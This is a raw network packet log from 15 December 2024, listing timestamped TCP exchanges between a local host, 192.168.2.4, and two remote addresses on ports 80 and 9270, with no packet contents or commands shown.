Dec 15, 2024 11:59:29.328329086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.329374075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.329421043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.329473972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.329513073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.330559969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.330612898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.330703974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.330765009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.331794024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.331852913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.331932068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.331969976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.333076000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.333115101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.333214045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.333256960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.334242105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.334283113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.334348917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.334386110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.335377932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.335431099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.335453033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.335485935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.336504936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.336558104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.336668015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.336709023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.337749958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.337804079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.337831020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.337872028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.338888884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.338941097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.339004040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.339041948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.340102911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.340137005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.340213060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.340250015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.341356039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.341412067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.341434956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.341475010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.342488050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.342526913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.342581034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.342619896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.343683004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.343725920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.343744993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.343781948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.344814062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.344856024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.396548986 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.441627026 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.474618912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.474668980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.474796057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.474864960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.475106955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.475147963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.475210905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.475248098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.476396084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.476442099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.476572037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.476613045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.477598906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.477641106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.477830887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.477874994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.478715897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.478759050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.478816032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.478853941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.479831934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.479872942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.479969025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.480010033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.481041908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.481086016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.481251955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.481292963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.482214928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.482255936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.482275963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.482317924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.483431101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.483472109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.483527899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.483572006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.484690905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.484731913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.484802008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.484857082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.485824108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.485863924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.485928059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.485968113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.486991882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.487032890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.487099886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.487135887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.488254070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.488293886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.488379002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.488418102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.489363909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.489424944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.489444017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.489484072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.490570068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.490609884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.490679979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.490719080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.491754055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.491791964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.491864920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.491905928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.492950916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.492994070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.493197918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.493241072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.494134903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.494177103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.494404078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.494446993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.495330095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.495371103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.495538950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.495575905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.496571064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.496611118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.496723890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.496762037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.497742891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.497782946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.497800112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.497834921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.498979092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.499021053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.499075890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.499114990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.500097990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.500137091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.500204086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.500245094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.501339912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.501380920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.501568079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.501607895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.502481937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.502517939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.502540112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.502577066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.503715992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.503758907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.503822088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.503861904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.505242109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.505290985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.505368948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.505415916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.506117105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.506158113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.506259918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.506299973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.507303953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.507343054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.507421017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.507460117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.508513927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.508552074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.508572102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.508609056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.509653091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.509691000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.509833097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.509872913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.510880947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.510921955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.510983944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.511022091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.512031078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.512065887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.512141943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.512177944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.513276100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.513313055 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.513329983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.513361931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.514544010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.514580965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.514601946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.514635086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.515665054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.515700102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.515707016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.515747070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.516814947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.516853094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.516932964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.516968012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.518008947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.518047094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.518100023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.518131971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.519440889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.519479990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.519510984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.519558907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.520426035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.520462990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.520529032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.520565987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.521586895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.521609068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.521626949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.521642923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.522768974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.522806883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.522834063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.522870064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.524035931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.524076939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.524113894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.524151087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.525151968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.525190115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.525258064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.525301933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.526369095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.526407957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.526540041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.526580095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.527585983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.527623892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.527749062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.527789116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.529493093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.529534101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.529553890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.529587984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.529978037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.530018091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.530154943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.530195951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.531141043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.531177998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.531281948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.531322956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.532825947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.532865047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.532924891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.532967091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.533838034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.533879042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.534001112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.534039974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.534739017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.534778118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.534863949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.534929991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.535907984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.535949945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.536020994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.536060095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.537041903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.537077904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.561692953 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.561758995 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.666637897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.666718960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.666773081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.666847944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.666874886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.666884899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.667005062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.667042971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.668235064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.668431044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.668467999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.669213057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.669255018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.669326067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.669364929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.670084953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.670203924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.670238018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.671317101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.671353102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.671411991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.671451092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.672489882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.672528028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.672661066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.672702074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.673711061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.673819065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.673854113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.674935102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.674972057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.674993992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.675035000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.676067114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.676105022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.676203966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.676242113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.677314997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.677326918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.677357912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.678447962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.678486109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.678522110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.679656982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.679692030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.679768085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.679805040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.680803061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.680840969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.680910110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.680947065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.681451082 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.681514025 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.682013988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.682149887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.682188034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.683234930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.683321953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.683361053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.684459925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.684688091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.684721947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.685661077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.685794115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.685842991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.686821938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.686870098 CET	49805	80	192.168.2.4	31.41.244.11
